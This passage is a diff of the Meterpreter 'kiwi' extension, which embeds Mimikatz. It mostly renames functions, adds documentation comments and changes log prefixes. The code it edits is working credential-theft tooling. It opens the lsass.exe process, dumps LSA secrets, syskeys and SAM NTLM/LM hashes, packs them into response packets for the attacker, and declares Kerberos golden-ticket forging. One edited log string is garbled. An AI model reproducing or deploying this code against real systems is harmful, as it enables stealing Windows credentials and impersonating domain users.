The minor version number for the policy subsystem. + */ +VOID policy_version_handler(LPVOID lpContext, USHORT usMajor, USHORT usMinor) { Packet *response = (Packet*)lpContext; @@ -368,14 +457,25 @@ VOID PolicyVersionHandler(LPVOID lpContext, USHORT usMajor, USHORT usMinor) packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_VER_MIN, (UINT)usMinor); } -VOID Nt5KeyHandler(LPVOID lpContext, DWORD dwIndex, PNT5_SYSTEM_KEY pSysKey) +/*! + * @brief Callback handler for NT5 key results. + * @param lpContext Pointer to the callback context, which in this case is the Packet*. + * @param pSysKey Pointer to the key that has been located. + */ +VOID nt5_key_handler(LPVOID lpContext, PNT5_SYSTEM_KEY pSysKey) { Packet *response = (Packet*)lpContext; dprintf("[KIWI LSA] nt5 Key"); packet_add_tlv_raw(response, TLV_TYPE_KIWI_LSA_NT5KEY, pSysKey->key, sizeof(NT5_SYSTEM_KEY)); } -VOID Nt6KeyHandler(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey) +/*! + * @brief Callback handler for NT6 key results. + * @param lpContext Pointer to the callback context, which in this case is the Packet*. + * @param dwIndex The index of the key in the array of keys found. + * @param pSysKey Pointer to the key that has been located. + */ +VOID nt6_key_handler(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey) { Tlv entities[3]; Packet *response = (Packet*)lpContext; @@ -399,33 +499,63 @@ VOID Nt6KeyHandler(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey) packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_NT6KEY, entities, 3); } -VOID Nt6KeyStreamHandler(LPVOID lpContext, PNT6_SYSTEM_KEYS pSysKeyStream) +/*! + * @brief Callback handler for NT6 key streams. + * @param lpContext Pointer to the callback context, which in this case is the Packet*. + * @param pSysKeyStream Pointer to the key that has been located. + * @remark This function probably isn't necessary in the grand scheme of things as it doesn't + * contain anything other than the count. Leaving it in for now though. + */ +VOID nt6_key_stream_handler(LPVOID lpContext, PNT6_SYSTEM_KEYS pSysKeyStream) { Packet *response = (Packet*)lpContext; dprintf("[KIWI LSA] nt6 Key stream: %u keys", pSysKeyStream->nbKeys); packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_KEYCOUNT, pSysKeyStream->nbKeys); } -VOID CompNameHandler(LPVOID lpContext, wchar_t* lpwComputerName) +/*! + * @brief Callback handler for the resulting computer name. + * @param lpContext Pointer to the callback context, which in this case is the Packet*. + * @param lpwComputerName Pointer to the computer name. + */ +VOID comp_name_handler(LPVOID lpContext, wchar_t* lpwComputerName) { Packet *response = (Packet*)lpContext; + dprintf("[KIWI LSA] Computer Name: %S", lpwComputerName); packet_add_tlv_wstring(response, TLV_TYPE_KIWI_LSA_COMPNAME, lpwComputerName); } -VOID SysKeyHandler(LPVOID lpContext, LPBYTE pKey, DWORD dwKeyLen) +/*! + * @brief Callback handler for the system key result + * @param lpContext Pointer to the callback context, which in this case is the Packet*. + * @param pKey Pointer to the key data. + * @param dwKeyLen The length of the key data. + */ +VOID sys_key_handler(LPVOID lpContext, LPBYTE pKey, DWORD dwKeyLen) { Packet *response = (Packet*)lpContext; dprintf("[KIWI LSA] SysKey: %u bytes", dwKeyLen); packet_add_tlv_raw(response, TLV_TYPE_KIWI_LSA_SYSKEY, pKey, dwKeyLen); } -VOID SecretHandler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwServiceInfo, LPBYTE pMd4Digest, LPVOID pCurrent, DWORD dwCurrentSize, LPVOID pOld, DWORD dwOldSize) +/*! + * @brief Callback handler for an LSA secret result dump. + * @param lpContext Pointer to the callback context, which in this case is the Packet*. + * @param lpwSecretName The name of the dumped secret. + * @param lpwServiceInfo Information about the dumped service secret. + * @param pMd4Digest Pointer to the MD4 digest associated with this secret. + * @param pCurrent Pointer to the current secret value. + * @param dwCurrentSize Size of the data pointed to by pCurrent. + * @param pOld Pointer to the old/previous secret value. + * @param dwOldSize Size of the data pointed to by pOld. + */ +VOID lsa_secret_handler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwServiceInfo, LPBYTE pMd4Digest, LPVOID pCurrent, DWORD dwCurrentSize, LPVOID pOld, DWORD dwOldSize) { Tlv entries[5]; DWORD dwCount = 0; Packet *response = (Packet*)lpContext; - LPSTR lpServiceInfo = NULL, lpCurrent = NULL, lpOld = NULL; + LPSTR lpSecretName = NULL, lpServiceInfo = NULL, lpCurrent = NULL, lpOld = NULL; dprintf("[KIWI LSA] Handling secret: %S", lpwSecretName); @@ -436,7 +566,7 @@ VOID SecretHandler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwService return; } - packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_LSA_SECRET_NAME, lpwSecretName, 0); + lpSecretName = packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_LSA_SECRET_NAME, lpwSecretName, 0); if (lpwServiceInfo) { @@ -485,6 +615,10 @@ VOID SecretHandler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwService packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_SECRET, entries, dwCount); + if (lpSecretName != NULL) + { + free(lpSecretName); + } if (lpServiceInfo != NULL) { free(lpServiceInfo); @@ -499,13 +633,24 @@ VOID SecretHandler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwService } } -VOID SamHashHandler(LPVOID lpContext, DWORD dwRid, wchar_t* lpwUser, DWORD dwUserLength, BOOL hasLmHash, BYTE lmHash[LM_NTLM_HASH_LENGTH], BOOL hasNtlmHash, BYTE ntlmHash[LM_NTLM_HASH_LENGTH]) +/*! + * @brief Callback handler for a dumped SAM hash. + * @param lpContext Pointer to the callback context, which in this case is the Packet*. + * @param dwRid The RID of the SAM. + * @param lpwUser Pointer to the user associated with the SAM. + * @param hasLmHash Indication of whether an LM hash was found. + * @param lmHash The LM has bytes, if found. + * @param hasNtlmHash Indication of whether an NTLM hash was found. + * @param ntlmHash The NTLM has bytes, if found. + */ +VOID sam_hash_handler(LPVOID lpContext, DWORD dwRid, wchar_t* lpwUser, DWORD dwUserLength, BOOL hasLmHash, BYTE lmHash[LM_NTLM_HASH_LENGTH], BOOL hasNtlmHash, BYTE ntlmHash[LM_NTLM_HASH_LENGTH]) { Tlv entries[4]; DWORD dwCount = 0; Packet *response = (Packet*)lpContext; LPSTR lpSamUser = NULL; + // only add the result if we have one of the hashes and a user name. if ((hasLmHash || hasNtlmHash) && lpwUser) { dprintf("[KIWI SAM] Adding %S rid %u (%x)", lpwUser, dwRid, dwRid); @@ -548,22 +693,27 @@ VOID SamHashHandler(LPVOID lpContext, DWORD dwRid, wchar_t* lpwUser, DWORD dwUse } } -DWORD mimikatz_lsa_dump_secrets(Packet* response) +/*! + * @brief Dump LSA secrets. + * @param pResponse Pointer to the packet that will contain the response. + * @returns Indication of success or failure. + */ +DWORD mimikatz_lsa_dump_secrets(Packet* pResponse) { LSA_CALLBACK_CTX callbackCtx; ZeroMemory(&callbackCtx, sizeof(callbackCtx)); // we want the context to be the packet, so that elements // can be added directly to the packet - callbackCtx.lpContext = response; - callbackCtx.pCompNameHandler = CompNameHandler; - callbackCtx.pSysKeyHandler = SysKeyHandler; - callbackCtx.pPolicyVersionHandler = PolicyVersionHandler; - callbackCtx.pNt6KeyStreamHandler = Nt6KeyStreamHandler; - callbackCtx.pNt6KeyHandler = Nt6KeyHandler; - callbackCtx.pNt5KeyHandler = Nt5KeyHandler; - callbackCtx.pSecretHandler = SecretHandler; - callbackCtx.pSamHashHandler = SamHashHandler; + callbackCtx.lpContext = pResponse; + callbackCtx.pCompNameHandler = comp_name_handler; + callbackCtx.pSysKeyHandler = sys_key_handler; + callbackCtx.pPolicyVersionHandler = policy_version_handler; + callbackCtx.pNt6KeyStreamHandler = nt6_key_stream_handler; + callbackCtx.pNt6KeyHandler = nt6_key_handler; + callbackCtx.pNt5KeyHandler = nt5_key_handler; + callbackCtx.pSecretHandler = lsa_secret_handler; + callbackCtx.pSamHashHandler = sam_hash_handler; return kuhl_m_lsadump_full(&callbackCtx); } \ No newline at end of file diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz_interface.h b/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz_interface.h index b8700b77..e705397b 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz_interface.h +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz_interface.h @@ -1,14 +1,19 @@ +/*! + * @file mimikatz_interface.h + * @brief Declaration of bridging functions which talk to Mimikatz 2. + * @remark Also contains helpful forward declarations. + */ #ifndef _METERPRETER_SOURCE_EXTENSION_MIMIKATZ_MIMIKATZ_INTERFACE_H #define _METERPRETER_SOURCE_EXTENSION_MIMIKATZ_MIMIKATZ_INTERFACE_H typedef struct _Packet Packet; -DWORD mimikatz_initOrClean(BOOL Init); -DWORD mimikatz_scrape_passwords(DWORD cmdId, Packet* packet); -DWORD mimikatz_kerberos_golden_ticket_create(LPSTR user, LPSTR domain, LPSTR sid, LPSTR ntlm, Packet* response); -DWORD mimikatz_kerberos_ticket_use(BYTE* buffer, DWORD bufferSize); +DWORD mimikatz_init_or_clean(BOOL bInit); +DWORD mimikatz_scrape_passwords(DWORD dwCmdId, Packet* pResponse); +DWORD mimikatz_kerberos_golden_ticket_create(LPSTR lpUser, LPSTR lpDomain, LPSTR lpSid, LPSTR lpNtlm, Packet* pResponse); +DWORD mimikatz_kerberos_ticket_use(BYTE* pBuffer, DWORD dwBufferSize); DWORD mimikatz_kerberos_ticket_purge(); -DWORD mimikatz_kerberos_ticket_list(BOOL bExport, Packet* response); -DWORD mimikatz_lsa_dump_secrets(Packet* response); +DWORD mimikatz_kerberos_ticket_list(BOOL bExport, Packet* pResponse); +DWORD mimikatz_lsa_dump_secrets(Packet* pResponse); #endif \ No newline at end of file diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_lsadump.c b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_lsadump.c index 44708e12..76df1d1a 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_lsadump.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_lsadump.c @@ -509,7 +509,7 @@ BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN kull_m_string_wprintf_hex(nt5key->key, sizeof(NT5_SYSTEM_KEY), 0); kprintf(L"\n"); if (callbackCtx && callbackCtx->pNt5KeyHandler) - callbackCtx->pNt5KeyHandler(callbackCtx->lpContext, i, nt5key); + callbackCtx->pNt5KeyHandler(callbackCtx->lpContext, nt5key); } } } diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_lsadump_struct.h b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_lsadump_struct.h index 9c8fc869..d1ba1d77 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_lsadump_struct.h +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_lsadump_struct.h @@ -245,7 +245,7 @@ typedef struct _MSCACHE_DATA { typedef struct _LSA_CALLBACK_CTX { VOID (*pPolicyVersionHandler)(LPVOID lpContext, USHORT usMajor, USHORT usMinor); - VOID (*pNt5KeyHandler)(LPVOID lpContext, DWORD dwIndex, PNT5_SYSTEM_KEY pSysKey); + VOID (*pNt5KeyHandler)(LPVOID lpContext, PNT5_SYSTEM_KEY pSysKey); VOID (*pNt6KeyHandler)(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey); VOID (*pNt6KeyStreamHandler)(LPVOID lpContext, PNT6_SYSTEM_KEYS pSyskeyStream); VOID (*pCompNameHandler)(LPVOID lpContext, wchar_t* lpwComputerName); diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt5.c b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt5.c index 9bf36ce8..9d732a73 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt5.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt5.c @@ -90,7 +90,7 @@ NTSTATUS kuhl_m_sekurlsa_nt5_init() } } } - } else PRINT_ERROR(L"[MIMIKATZ] failed to load lsasrv"); + } else PRINT_ERROR(L"[KIWI] failed to load lsasrv"); } return kuhl_m_sekurlsa_nt5_KeyInit; } diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c index ce14f5db..7a436207 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c @@ -93,8 +93,10 @@ NTSTATUS kuhl_m_sekurlsa_process(int argc, wchar_t * argv[]) NTSTATUS kuhl_m_sekurlsa_minidump(int argc, wchar_t * argv[]) { kprintf(L"Switch to MINIDUMP\n"); - if(argc != 1) - dprintf(L"[MIMIKATZ] argument is missing\n"); + if (argc != 1) + { + dprintf(L"[KIWI] argument is missing\n"); + } else { kuhl_m_sekurlsa_reset(); @@ -144,7 +146,7 @@ BOOL CALLBACK kuhl_m_sekurlsa_enum_range(PMEMORY_BASIC_INFORMATION pMemoryBasicI NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[]) { - dprintf(L"[MIMIKATZ] Running kuhl_m_sekurlsa_getLogonData"); + dprintf(L"[KIWI] Running kuhl_m_sekurlsa_getLogonData"); return kuhl_m_sekurlsa_getLogonData(lsassPackages, sizeof(lsassPackages) / sizeof(PKUHL_M_SEKURLSA_PACKAGE), NULL, NULL); } @@ -169,7 +171,7 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA() PMINIDUMP_SYSTEM_INFO pInfos; DWORD processRights = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE; - dprintf(L"[MIMIKATZ] Attempting to acquire LSA"); + dprintf(L"[KIWI] Attempting to acquire LSA"); if(!cLsass.hLsassMem) { @@ -186,7 +188,7 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA() Type = KULL_M_MEMORY_TYPE_PROCESS; if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid)) hData = OpenProcess(processRights, FALSE, pid); - else dprintf(L"[MIMIKATZ] LSASS process not found (?)\n"); + else dprintf(L"[KIWI] LSASS process not found (?)\n"); } if(hData && hData != INVALID_HANDLE_VALUE) @@ -202,16 +204,22 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA() cLsass.osContext.BuildNumber = pInfos->BuildNumber; if(cLsass.osContext.MajorVersion != MIMIKATZ_NT_MAJOR_VERSION) - dprintf(L"[MIMIKATZ] Minidump pInfos->MajorVersion (%u) != MIMIKATZ_NT_MAJOR_VERSION (%u)\n", pInfos->MajorVersion, MIMIKATZ_NT_MAJOR_VERSION); + { + dprintf(L"[KIWI] Minidump pInfos->MajorVersion (%u) != MIMIKATZ_NT_MAJOR_VERSION (%u)\n", pInfos->MajorVersion, MIMIKATZ_NT_MAJOR_VERSION); + } #ifdef _M_X64 - if(pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64) - dprintf(L"[MIMIKATZ] Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64); + if (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64) + { + dprintf(L"[KIWI] Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64); + } #elif defined _M_IX86 - if(pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL) - dprintf(L"[MIMIKATZ] Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL); + if (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL) + { + dprintf(L"[KIWI] Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL); + } #endif } - else dprintf(L"[MIMIKATZ] Minidump without SystemInfoStream (?)\n"); + else dprintf(L"[KIWI] Minidump without SystemInfoStream (?)\n"); } else { @@ -229,16 +237,18 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA() { status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations); - if(!NT_SUCCESS(status)) - dprintf(L"[MIMIKATZ] Key import\n"); + if (!NT_SUCCESS(status)) + { + dprintf(L"[KIWI] Key import failed\n"); + } } - else dprintf(L"[MIMIKATZ] Logon list\n"); + else dprintf(L"[KIWI] Logon list failed\n"); } - else dprintf(L"[MIMIKATZ] Modules informations\n"); + else dprintf(L"[KIWI] Modules informations failed\n"); } - else dprintf(L"[MIMIKATZ] Memory opening\n"); + else dprintf(L"[KIWI] Memory opening\ failedn"); } - else dprintf(L"[MIMIKATZ] Handle of memory : %08x\n", GetLastError()); + else dprintf(L"[KIWI] Handle of memory : %08x\n", GetLastError()); if(!NT_SUCCESS(status)) { @@ -246,7 +256,7 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA() CloseHandle(hData); } } - else dprintf(L"[MIMIKATZ] Local LSA library failed\n"); + else dprintf(L"[KIWI] Local LSA library failed\n"); } return status; } @@ -279,7 +289,7 @@ NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalDa if(NT_SUCCESS(status)) { - dprintf(L"[MIMIKATZ] Acquired LSA"); + dprintf(L"[KIWI] Acquired LSA"); sessionData.cLsass = &cLsass; sessionData.lsassLocalHelper = lsassLocalHelper; @@ -299,7 +309,7 @@ NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalDa kull_m_memory_copy(&data, &securityStruct, sizeof(ULONG)); else *(PULONG) data.address = 1; - dprintf(L"[MIMIKATZ] iterating %d lists", nbListes); + dprintf(L"[KIWI] iterating %d lists", nbListes); for(i = 0; i < nbListes; i++) { securityStruct.address = &LogonSessionList[i]; @@ -307,10 +317,10 @@ NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalDa data.hMemory = &hLocalMemory; if(aBuffer.address = LocalAlloc(LPTR, helper->tailleStruct)) { - dprintf(L"[MIMIKATZ] List %d allocated", i); + dprintf(L"[KIWI] List %d allocated", i); if(kull_m_memory_copy(&data, &securityStruct, sizeof(PVOID))) { - dprintf(L"[MIMIKATZ] List %d memory copied", i); + dprintf(L"[KIWI] List %d memory copied", i); data.address = pStruct; data.hMemory = securityStruct.hMemory; @@ -326,7 +336,7 @@ NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalDa sessionData.pCredentials= *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentials); sessionData.pSid = *(PSID *) ((PBYTE) aBuffer.address + helper->offsetToPSid); - dprintf(L"[MIMIKATZ] List %d getting strings", i); + dprintf(L"[KIWI] List %d getting strings", i); kull_m_string_getUnicodeString(sessionData.UserName, cLsass.hLsassMem); kull_m_string_getUnicodeString(sessionData.LogonDomain, cLsass.hLsassMem); kuhl_m_sekurlsa_utils_getSid(&sessionData.pSid, cLsass.hLsassMem); @@ -348,7 +358,7 @@ NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalDa } else { - dprintf(L"[MIMIKATZ] Failed to acquire LSA: %u %x", status, status); + dprintf(L"[KIWI] Failed to acquire LSA: %u %x", status, status); } return status; } @@ -357,7 +367,7 @@ BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_logondata(IN PKIWI_BASIC_SECURITY_LO { PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA pLsassData = (PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA) pOptionalData; ULONG i; - dprintf(L"[MIMIKATZ] callback invoked with %p", pData); + dprintf(L"[KIWI] callback invoked with %p", pData); if((pData->LogonType != Network)/* && pData->LogonType != UndefinedLogonType*/) { kuhl_m_sekurlsa_printinfos_logonData(pData); diff --git a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj index ac5f9754..b4701859 100644 --- a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj +++ b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj @@ -630,9 +630,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho - - - diff --git a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj.filters b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj.filters index f671dd7d..0b125ea9 100644 --- a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj.filters +++ b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj.filters @@ -153,9 +153,6 @@ modules\kerberos - - - modules\sekurlsa\crypto